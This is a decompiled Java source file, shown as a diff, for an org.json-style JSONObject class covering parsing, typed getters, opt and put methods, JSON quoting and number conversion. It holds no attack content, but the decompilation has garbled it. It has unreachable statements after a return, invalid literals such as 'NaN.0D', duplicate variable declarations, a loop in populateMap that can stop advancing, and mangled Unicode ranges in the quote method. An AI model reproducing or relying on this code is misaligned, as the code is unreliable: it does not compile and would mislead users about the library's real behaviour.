+  
+
+
+
+
+
+
+
+
+
+  public JSONObject(JSONObject jo, String[] names)
+  {
+    this(names.length);
+    for (int i = 0; i < names.length; i++) {
+      try {
+        putOnce(names[i], jo.opt(names[i]));
+      }
+      catch (Exception localException) {}
+    }
+  }
+  
+
+
+
+
+
+
+
+  public JSONObject(JSONTokener x)
+    throws JSONException
+  {
+    this();
+    
+
+
+    if (x.nextClean() != '{') {
+      throw x.syntaxError("A JSONObject text must begin with '{'");
+    }
+    for (;;) {
+      char c = x.nextClean();
+      switch (c) {
+      case '\000': 
+        throw x.syntaxError("A JSONObject text must end with '}'");
+      case '}': 
+        return;
+      }
+      x.back();
+      String key = x.nextValue().toString();
+      
+
+
+
+      c = x.nextClean();
+      if (c != ':') {
+        throw x.syntaxError("Expected a ':' after a key");
+      }
+      
+
+
+      if (key != null)
+      {
+        if (opt(key) != null)
+        {
+          throw x.syntaxError("Duplicate key \"" + key + "\"");
+        }
+        
+        Object value = x.nextValue();
+        if (value != null) {
+          put(key, value);
+        }
+      }
+      
+
+
+      switch (x.nextClean()) {
+      case ',': 
+      case ';': 
+        if (x.nextClean() == '}') {
+          return;
+        }
+        x.back();
+      }
+    }
+    return;
+    
+    throw x.syntaxError("Expected a ',' or '}'");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject(Map<?, ?> m)
+  {
+    if (m == null) {
+      map = new HashMap();
+    } else {
+      map = new HashMap(m.size());
+      for (Map.Entry<?, ?> e : m.entrySet()) {
+        if (e.getKey() == null) {
+          throw new NullPointerException("Null key.");
+        }
+        Object value = e.getValue();
+        if (value != null) {
+          map.put(String.valueOf(e.getKey()), wrap(value));
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject(Object bean)
+  {
+    this();
+    populateMap(bean);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject(Object object, String[] names)
+  {
+    this(names.length);
+    Class<?> c = object.getClass();
+    for (int i = 0; i < names.length; i++) {
+      String name = names[i];
+      try {
+        putOpt(name, c.getField(name).get(object));
+      }
+      catch (Exception localException) {}
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONObject(String source)
+    throws JSONException
+  {
+    this(new JSONTokener(source));
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONObject(String baseName, Locale locale)
+    throws JSONException
+  {
+    this();
+    ResourceBundle bundle = ResourceBundle.getBundle(baseName, locale, 
+      Thread.currentThread().getContextClassLoader());
+    
+
+
+    Enumeration<String> keys = bundle.getKeys();
+    while (keys.hasMoreElements()) {
+      Object key = keys.nextElement();
+      if (key != null)
+      {
+
+
+
+
+        String[] path = ((String)key).split("\\.");
+        int last = path.length - 1;
+        JSONObject target = this;
+        for (int i = 0; i < last; i++) {
+          String segment = path[i];
+          JSONObject nextTarget = target.optJSONObject(segment);
+          if (nextTarget == null) {
+            nextTarget = new JSONObject();
+            target.put(segment, nextTarget);
+          }
+          target = nextTarget;
+        }
+        target.put(path[last], bundle.getString((String)key));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  protected JSONObject(int initialCapacity)
+  {
+    map = new HashMap(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject accumulate(String key, Object value)
+    throws JSONException
+  {
+    testValidity(value);
+    Object object = opt(key);
+    if (object == null) {
+      put(key, 
+        (value instanceof JSONArray) ? new JSONArray().put(value) : 
+        value);
+    } else if ((object instanceof JSONArray)) {
+      ((JSONArray)object).put(value);
+    } else {
+      put(key, new JSONArray().put(object).put(value));
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject append(String key, Object value)
+    throws JSONException
+  {
+    testValidity(value);
+    Object object = opt(key);
+    if (object == null) {
+      put(key, new JSONArray().put(value));
+    } else if ((object instanceof JSONArray)) {
+      put(key, ((JSONArray)object).put(value));
+    } else {
+      throw new JSONException("JSONObject[" + key + 
+        "] is not a JSONArray.");
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public static String doubleToString(double d)
+  {
+    if ((Double.isInfinite(d)) || (Double.isNaN(d))) {
+      return "null";
+    }
+    
+
+
+    String string = Double.toString(d);
+    if ((string.indexOf('.') > 0) && (string.indexOf('e') < 0) && 
+      (string.indexOf('E') < 0)) {
+      while (string.endsWith("0")) {
+        string = string.substring(0, string.length() - 1);
+      }
+      if (string.endsWith(".")) {
+        string = string.substring(0, string.length() - 1);
+      }
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+
+  public Object get(String key)
+    throws JSONException
+  {
+    if (key == null) {
+      throw new JSONException("Null key.");
+    }
+    Object object = opt(key);
+    if (object == null) {
+      throw new JSONException("JSONObject[" + quote(key) + "] not found.");
+    }
+    return object;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E getEnum(Class<E> clazz, String key)
+    throws JSONException
+  {
+    E val = optEnum(clazz, key);
+    if (val == null)
+    {
+
+
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not an enum of type " + quote(clazz.getSimpleName()) + 
+        ".");
+    }
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean getBoolean(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    if ((object.equals(Boolean.FALSE)) || (
+      ((object instanceof String)) && 
+      (((String)object).equalsIgnoreCase("false"))))
+      return false;
+    if ((object.equals(Boolean.TRUE)) || (
+      ((object instanceof String)) && 
+      (((String)object).equalsIgnoreCase("true")))) {
+      return true;
+    }
+    throw new JSONException("JSONObject[" + quote(key) + 
+      "] is not a Boolean.");
+  }
+  
+
+
+
+
+
+
+
+
+  public BigInteger getBigInteger(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      return new BigInteger(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] could not be converted to BigInteger.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public BigDecimal getBigDecimal(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    if ((object instanceof BigDecimal)) {
+      return (BigDecimal)object;
+    }
+    try {
+      return new BigDecimal(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] could not be converted to BigDecimal.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public double getDouble(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      return (object instanceof Number) ? ((Number)object).doubleValue() : 
+        Double.parseDouble(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public float getFloat(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      return (object instanceof Number) ? ((Number)object).floatValue() : 
+        Float.parseFloat(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Number getNumber(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      if ((object instanceof Number)) {
+        return (Number)object;
+      }
+      return stringToNumber(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int getInt(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      return (object instanceof Number) ? ((Number)object).intValue() : 
+        Integer.parseInt((String)object);
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not an int.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public JSONArray getJSONArray(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    if ((object instanceof JSONArray)) {
+      return (JSONArray)object;
+    }
+    throw new JSONException("JSONObject[" + quote(key) + 
+      "] is not a JSONArray.");
+  }
+  
+
+
+
+
+
+
+
+  public JSONObject getJSONObject(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    if ((object instanceof JSONObject)) {
+      return (JSONObject)object;
+    }
+    throw new JSONException("JSONObject[" + quote(key) + 
+      "] is not a JSONObject.");
+  }
+  
+
+
+
+
+
+
+
+
+  public long getLong(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    try {
+      return (object instanceof Number) ? ((Number)object).longValue() : 
+        Long.parseLong((String)object);
+    } catch (Exception e) {
+      throw new JSONException("JSONObject[" + quote(key) + 
+        "] is not a long.", e);
+    }
+  }
+  
+
+
+
+
+  public static String[] getNames(JSONObject jo)
+  {
+    int length = jo.length();
+    if (length == 0) {
+      return null;
+    }
+    return (String[])jo.keySet().toArray(new String[length]);
+  }
+  
+
+
+
+
+  public static String[] getNames(Object object)
+  {
+    if (object == null) {
+      return null;
+    }
+    Class<?> klass = object.getClass();
+    Field[] fields = klass.getFields();
+    int length = fields.length;
+    if (length == 0) {
+      return null;
+    }
+    String[] names = new String[length];
+    for (int i = 0; i < length; i++) {
+      names[i] = fields[i].getName();
+    }
+    return names;
+  }
+  
+
+
+
+
+
+
+
+  public String getString(String key)
+    throws JSONException
+  {
+    Object object = get(key);
+    if ((object instanceof String)) {
+      return (String)object;
+    }
+    throw new JSONException("JSONObject[" + quote(key) + "] not a string.");
+  }
+  
+
+
+
+
+
+
+  public boolean has(String key)
+  {
+    return map.containsKey(key);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONObject increment(String key)
+    throws JSONException
+  {
+    Object value = opt(key);
+    if (value == null) {
+      put(key, 1);
+    } else if ((value instanceof BigInteger)) {
+      put(key, ((BigInteger)value).add(BigInteger.ONE));
+    } else if ((value instanceof BigDecimal)) {
+      put(key, ((BigDecimal)value).add(BigDecimal.ONE));
+    } else if ((value instanceof Integer)) {
+      put(key, ((Integer)value).intValue() + 1);
+    } else if ((value instanceof Long)) {
+      put(key, ((Long)value).longValue() + 1L);
+    } else if ((value instanceof Double)) {
+      put(key, ((Double)value).doubleValue() + 1.0D);
+    } else if ((value instanceof Float)) {
+      put(key, ((Float)value).floatValue() + 1.0F);
+    } else {
+      throw new JSONException("Unable to increment [" + quote(key) + "].");
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isNull(String key)
+  {
+    return NULL.equals(opt(key));
+  }
+  
+
+
+
+
+
+
+
+  public Iterator<String> keys()
+  {
+    return keySet().iterator();
+  }
+  
+
+
+
+
+
+
+
+  public Set<String> keySet()
+  {
+    return map.keySet();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected Set<Map.Entry<String, Object>> entrySet()
+  {
+    return map.entrySet();
+  }
+  
+
+
+
+
+  public int length()
+  {
+    return map.size();
+  }
+  
+
+
+
+
+
+
+  public JSONArray names()
+  {
+    if (map.isEmpty()) {
+      return null;
+    }
+    return new JSONArray(map.keySet());
+  }
+  
+
+
+
+
+
+
+
+  public static String numberToString(Number number)
+    throws JSONException
+  {
+    if (number == null) {
+      throw new JSONException("Null pointer");
+    }
+    testValidity(number);
+    
+
+
+    String string = number.toString();
+    if ((string.indexOf('.') > 0) && (string.indexOf('e') < 0) && 
+      (string.indexOf('E') < 0)) {
+      while (string.endsWith("0")) {
+        string = string.substring(0, string.length() - 1);
+      }
+      if (string.endsWith(".")) {
+        string = string.substring(0, string.length() - 1);
+      }
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+  public Object opt(String key)
+  {
+    return key == null ? null : map.get(key);
+  }
+  
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E optEnum(Class<E> clazz, String key)
+  {
+    return optEnum(clazz, key, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E optEnum(Class<E> clazz, String key, E defaultValue)
+  {
+    try
+    {
+      Object val = opt(key);
+      if (NULL.equals(val)) {
+        return defaultValue;
+      }
+      if (clazz.isAssignableFrom(val.getClass()))
+      {
+
+        return (Enum)val;
+      }
+      
+      return Enum.valueOf(clazz, val.toString());
+    } catch (IllegalArgumentException e) {
+      return defaultValue;
+    } catch (NullPointerException e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean optBoolean(String key)
+  {
+    return optBoolean(key, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean optBoolean(String key, boolean defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Boolean)) {
+      return ((Boolean)val).booleanValue();
+    }
+    try
+    {
+      return getBoolean(key);
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal optBigDecimal(String key, BigDecimal defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof BigDecimal)) {
+      return (BigDecimal)val;
+    }
+    if ((val instanceof BigInteger)) {
+      return new BigDecimal((BigInteger)val);
+    }
+    if (((val instanceof Double)) || ((val instanceof Float))) {
+      return new BigDecimal(((Number)val).doubleValue());
+    }
+    if (((val instanceof Long)) || ((val instanceof Integer)) || 
+      ((val instanceof Short)) || ((val instanceof Byte))) {
+      return new BigDecimal(((Number)val).longValue());
+    }
+    try
+    {
+      return new BigDecimal(val.toString());
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BigInteger optBigInteger(String key, BigInteger defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof BigInteger)) {
+      return (BigInteger)val;
+    }
+    if ((val instanceof BigDecimal)) {
+      return ((BigDecimal)val).toBigInteger();
+    }
+    if (((val instanceof Double)) || ((val instanceof Float))) {
+      return new BigDecimal(((Number)val).doubleValue()).toBigInteger();
+    }
+    if (((val instanceof Long)) || ((val instanceof Integer)) || 
+      ((val instanceof Short)) || ((val instanceof Byte))) {
+      return BigInteger.valueOf(((Number)val).longValue());
+    }
+    
+
+
+
+
+    try
+    {
+      String valStr = val.toString();
+      if (isDecimalNotation(valStr)) {
+        return new BigDecimal(valStr).toBigInteger();
+      }
+      return new BigInteger(valStr);
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public double optDouble(String key)
+  {
+    return optDouble(key, NaN.0D);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public double optDouble(String key, double defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).doubleValue();
+    }
+    if ((val instanceof String)) {
+      try {
+        return Double.parseDouble((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public float optFloat(String key)
+  {
+    return optFloat(key, NaN.0F);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public float optFloat(String key, float defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).floatValue();
+    }
+    if ((val instanceof String)) {
+      try {
+        return Float.parseFloat((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public int optInt(String key)
+  {
+    return optInt(key, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int optInt(String key, int defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).intValue();
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return new BigDecimal((String)val).intValue();
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+  public JSONArray optJSONArray(String key)
+  {
+    Object o = opt(key);
+    return (o instanceof JSONArray) ? (JSONArray)o : null;
+  }
+  
+
+
+
+
+
+
+
+  public JSONObject optJSONObject(String key)
+  {
+    Object object = opt(key);
+    return (object instanceof JSONObject) ? (JSONObject)object : null;
+  }
+  
+
+
+
+
+
+
+
+
+  public long optLong(String key)
+  {
+    return optLong(key, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public long optLong(String key, long defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).longValue();
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return new BigDecimal((String)val).longValue();
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Number optNumber(String key)
+  {
+    return optNumber(key, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Number optNumber(String key, Number defaultValue)
+  {
+    Object val = opt(key);
+    if (NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return (Number)val;
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return stringToNumber((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public String optString(String key)
+  {
+    return optString(key, "");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String optString(String key, String defaultValue)
+  {
+    Object object = opt(key);
+    return NULL.equals(object) ? defaultValue : object.toString();
+  }
+  
+
+
+
+
+
+
+
+
+  private void populateMap(Object bean)
+  {
+    Class<?> klass = bean.getClass();
+    
+
+
+    boolean includeSuperClass = klass.getClassLoader() != null;
+    
+    Method[] methods = includeSuperClass ? klass.getMethods() : klass.getDeclaredMethods();
+    Method[] arrayOfMethod1; int j = (arrayOfMethod1 = methods).length; for (int i = 0; i < j;) { Method method = arrayOfMethod1[i];
+      int modifiers = method.getModifiers();
+      if ((Modifier.isPublic(modifiers)) && 
+        (!Modifier.isStatic(modifiers)) && 
+        (method.getParameterTypes().length == 0) && 
+        (!method.isBridge()) && 
+        (method.getReturnType() != Void.TYPE) && 
+        (isValidMethodName(method.getName()))) {
+        String key = getKeyNameFromMethod(method);
+        if ((key != null) && (!key.isEmpty())) {
+          try {
+            Object result = method.invoke(bean, new Object[0]);
+            if (result != null) {
+              map.put(key, wrap(result));
+              
+
+
+              if ((result instanceof Closeable)) {
+                try {
+                  ((Closeable)result).close();
+                }
+                catch (IOException localIOException) {}
+              }
+            }
+            i++;
+          }
+          catch (IllegalAccessException localIllegalAccessException) {}catch (IllegalArgumentException localIllegalArgumentException) {}catch (InvocationTargetException localInvocationTargetException) {}
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean isValidMethodName(String name)
+  {
+    return (!"getClass".equals(name)) && (!"getDeclaringClass".equals(name));
+  }
+  
+  private String getKeyNameFromMethod(Method method) {
+    int ignoreDepth = getAnnotationDepth(method, JSONPropertyIgnore.class);
+    if (ignoreDepth > 0) {
+      int forcedNameDepth = getAnnotationDepth(method, JSONPropertyName.class);
+      if ((forcedNameDepth < 0) || (ignoreDepth <= forcedNameDepth))
+      {
+
+        return null;
+      }
+    }
+    JSONPropertyName annotation = (JSONPropertyName)getAnnotation(method, JSONPropertyName.class);
+    if ((annotation != null) && (annotation.value() != null) && (!annotation.value().isEmpty())) {
+      return annotation.value();
+    }
+    
+    String name = method.getName();
+    String key; if ((name.startsWith("get")) && (name.length() > 3)) {
+      key = name.substring(3); } else { String key;
+      if ((name.startsWith("is")) && (name.length() > 2)) {
+        key = name.substring(2);
+      } else {
+        return null;
+      }
+    }
+    
+    String key;
+    if (Character.isLowerCase(key.charAt(0))) {
+      return null;
+    }
+    if (key.length() == 1) {
+      key = key.toLowerCase(Locale.ROOT);
+    } else if (!Character.isUpperCase(key.charAt(1))) {
+      key = key.substring(0, 1).toLowerCase(Locale.ROOT) + key.substring(1);
+    }
+    return key;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <A extends Annotation> A getAnnotation(Method m, Class<A> annotationClass)
+  {
+    if ((m == null) || (annotationClass == null)) {
+      return null;
+    }
+    
+    if (m.isAnnotationPresent(annotationClass)) {
+      return m.getAnnotation(annotationClass);
+    }
+    
+
+    Class<?> c = m.getDeclaringClass();
+    if (c.getSuperclass() == null) {
+      return null;
+    }
+    
+
+    for (Class<?> i : c.getInterfaces()) {
+      try {
+        Method im = i.getMethod(m.getName(), m.getParameterTypes());
+        return getAnnotation(im, annotationClass);
+      }
+      catch (SecurityException ex) {}catch (NoSuchMethodException localNoSuchMethodException1) {}
+    }
+    
+
+
+    try
+    {
+      return getAnnotation(
+        c.getSuperclass().getMethod(m.getName(), m.getParameterTypes()), 
+        annotationClass);
+    } catch (SecurityException ex) {
+      return null;
+    } catch (NoSuchMethodException ex) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int getAnnotationDepth(Method m, Class<? extends Annotation> annotationClass)
+  {
+    if ((m == null) || (annotationClass == null)) {
+      return -1;
+    }
+    
+    if (m.isAnnotationPresent(annotationClass)) {
+      return 1;
+    }
+    
+
+    Class<?> c = m.getDeclaringClass();
+    if (c.getSuperclass() == null) {
+      return -1;
+    }
+    
+
+    for (Class<?> i : c.getInterfaces()) {
+      try {
+        Method im = i.getMethod(m.getName(), m.getParameterTypes());
+        int d = getAnnotationDepth(im, annotationClass);
+        if (d > 0)
+        {
+          return d + 1;
+        }
+      }
+      catch (SecurityException ex) {}catch (NoSuchMethodException localNoSuchMethodException1) {}
+    }
+    
+
+
+    try
+    {
+      int d = getAnnotationDepth(
+        c.getSuperclass().getMethod(m.getName(), m.getParameterTypes()), 
+        annotationClass);
+      if (d > 0)
+      {
+        return d + 1;
+      }
+      return -1;
+    } catch (SecurityException ex) {
+      return -1;
+    } catch (NoSuchMethodException ex) {}
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, boolean value)
+    throws JSONException
+  {
+    return put(key, value ? Boolean.TRUE : Boolean.FALSE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, Collection<?> value)
+    throws JSONException
+  {
+    return put(key, new JSONArray(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, double value)
+    throws JSONException
+  {
+    return put(key, Double.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, float value)
+    throws JSONException
+  {
+    return put(key, Float.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, int value)
+    throws JSONException
+  {
+    return put(key, Integer.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, long value)
+    throws JSONException
+  {
+    return put(key, Long.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, Map<?, ?> value)
+    throws JSONException
+  {
+    return put(key, new JSONObject(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject put(String key, Object value)
+    throws JSONException
+  {
+    if (key == null) {
+      throw new NullPointerException("Null key.");
+    }
+    if (value != null) {
+      testValidity(value);
+      map.put(key, value);
+    } else {
+      remove(key);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public JSONObject putOnce(String key, Object value)
+    throws JSONException
+  {
+    if ((key != null) && (value != null)) {
+      if (opt(key) != null) {
+        throw new JSONException("Duplicate key \"" + key + "\"");
+      }
+      return put(key, value);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONObject putOpt(String key, Object value)
+    throws JSONException
+  {
+    if ((key != null) && (value != null)) {
+      return put(key, value);
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object query(String jsonPointer)
+  {
+    return query(new JSONPointer(jsonPointer));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object query(JSONPointer jsonPointer)
+  {
+    return jsonPointer.queryFrom(this);
+  }
+  
+
+
+
+
+
+
+
+  public Object optQuery(String jsonPointer)
+  {
+    return optQuery(new JSONPointer(jsonPointer));
+  }
+  
+
+
+
+
+
+
+  public Object optQuery(JSONPointer jsonPointer)
+  {
+    try
+    {
+      return jsonPointer.queryFrom(this);
+    } catch (JSONPointerException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String quote(String string)
+  {
+    StringWriter sw = new StringWriter();
+    synchronized (sw.getBuffer()) {
+      try {
+        return quote(string, sw).toString();
+      }
+      catch (IOException ignored) {
+        return "";
+      }
+    }
+  }
+  
+  public static Writer quote(String string, Writer w) throws IOException {
+    if ((string == null) || (string.length() == 0)) {
+      w.write("\"\"");
+      return w;
+    }
+    
+
+    char c = '\000';
+    
+
+    int len = string.length();
+    
+    w.write(34);
+    for (int i = 0; i < len; i++) {
+      char b = c;
+      c = string.charAt(i);
+      switch (c) {
+      case '"': 
+      case '\\': 
+        w.write(92);
+        w.write(c);
+        break;
+      case '/': 
+        if (b == '<') {
+          w.write(92);
+        }
+        w.write(c);
+        break;
+      case '\b': 
+        w.write("\\b");
+        break;
+      case '\t': 
+        w.write("\\t");
+        break;
+      case '\n': 
+        w.write("\\n");
+        break;
+      case '\f': 
+        w.write("\\f");
+        break;
+      case '\r': 
+        w.write("\\r");
+        break;
+      default: 
+        if ((c < ' ') || ((c >= '€') && (c < ' ')) || (
+          (c >= ' ') && (c < '℀'))) {
+          w.write("\\u");
+          String hhhh = Integer.toHexString(c);
+          w.write("0000", 0, 4 - hhhh.length());
+          w.write(hhhh);
+        } else {
+          w.write(c);
+        }
+        break; }
+    }
+    w.write(34);
+    return w;
+  }
+  
+
+
+
+
+
+
+
+  public Object remove(String key)
+  {
+    return map.remove(key);
+  }
+  
+
+
+
+
+
+
+  public boolean similar(Object other)
+  {
+    try
+    {
+      if (!(other instanceof JSONObject)) {
+        return false;
+      }
+      if (!keySet().equals(((JSONObject)other).keySet())) {
+        return false;
+      }
+      for (Map.Entry<String, ?> entry : entrySet()) {
+        String name = (String)entry.getKey();
+        Object valueThis = entry.getValue();
+        Object valueOther = ((JSONObject)other).get(name);
+        if (valueThis != valueOther)
+        {
+
+          if (valueThis == null) {
+            return false;
+          }
+          if ((valueThis instanceof JSONObject)) {
+            if (!((JSONObject)valueThis).similar(valueOther)) {
+              return false;
+            }
+          } else if ((valueThis instanceof JSONArray)) {
+            if (!((JSONArray)valueThis).similar(valueOther)) {
+              return false;
+            }
+          } else if (!valueThis.equals(valueOther))
+            return false;
+        }
+      }
+      return true;
+    } catch (Throwable exception) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+  protected static boolean isDecimalNotation(String val)
+  {
+    return (val.indexOf('.') > -1) || (val.indexOf('e') > -1) || 
+      (val.indexOf('E') > -1) || ("-0".equals(val));
+  }
+  
+
+
+
+
+
+
+
+
+  protected static Number stringToNumber(String val)
+    throws NumberFormatException
+  {
+    char initial = val.charAt(0);
+    if (((initial >= '0') && (initial <= '9')) || (initial == '-'))
+    {
+      if (isDecimalNotation(val))
+      {
+
+        if (val.length() > 14) {
+          return new BigDecimal(val);
+        }
+        Double d = Double.valueOf(val);
+        if ((d.isInfinite()) || (d.isNaN()))
+        {
+
+
+
+          return new BigDecimal(val);
+        }
+        return d;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      BigInteger bi = new BigInteger(val);
+      if (bi.bitLength() <= 31) {
+        return Integer.valueOf(bi.intValue());
+      }
+      if (bi.bitLength() <= 63) {
+        return Long.valueOf(bi.longValue());
+      }
+      return bi;
+    }
+    throw new NumberFormatException("val [" + val + "] is not a valid number.");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Object stringToValue(String string)
+  {
+    if (string.equals("")) {
+      return string;
+    }
+    if (string.equalsIgnoreCase("true")) {
+      return Boolean.TRUE;
+    }
+    if (string.equalsIgnoreCase("false")) {
+      return Boolean.FALSE;
+    }
+    if (string.equalsIgnoreCase("null")) {
+      return NULL;
+    }
+    
+
+
+
+
+
+    char initial = string.charAt(0);
+    if (((initial >= '0') && (initial <= '9')) || (initial == '-'))
+    {
+      try
+      {
+        if (isDecimalNotation(string)) {
+          Double d = Double.valueOf(string);
+          if ((!d.isInfinite()) && (!d.isNaN())) {
+            return d;
+          }
+        } else {
+          Long myLong = Long.valueOf(string);
+          if (string.equals(myLong.toString())) {
+            if (myLong.longValue() == myLong.intValue()) {
+              return Integer.valueOf(myLong.intValue());
+            }
+            return myLong;
+          }
+        }
+      }
+      catch (Exception localException) {}
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+  public static void testValidity(Object o)
+    throws JSONException
+  {
+    if (o != null) {
+      if ((o instanceof Double)) {
+        if ((((Double)o).isInfinite()) || (((Double)o).isNaN())) {
+          throw new JSONException(
+            "JSON does not allow non-finite numbers.");
+        }
+      } else if (((o instanceof Float)) && (
+        (((Float)o).isInfinite()) || (((Float)o).isNaN()))) {
+        throw new JSONException(
+          "JSON does not allow non-finite numbers.");
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONArray toJSONArray(JSONArray names)
+    throws JSONException
+  {
+    if ((names == null) || (names.length() == 0)) {
+      return null;
+    }
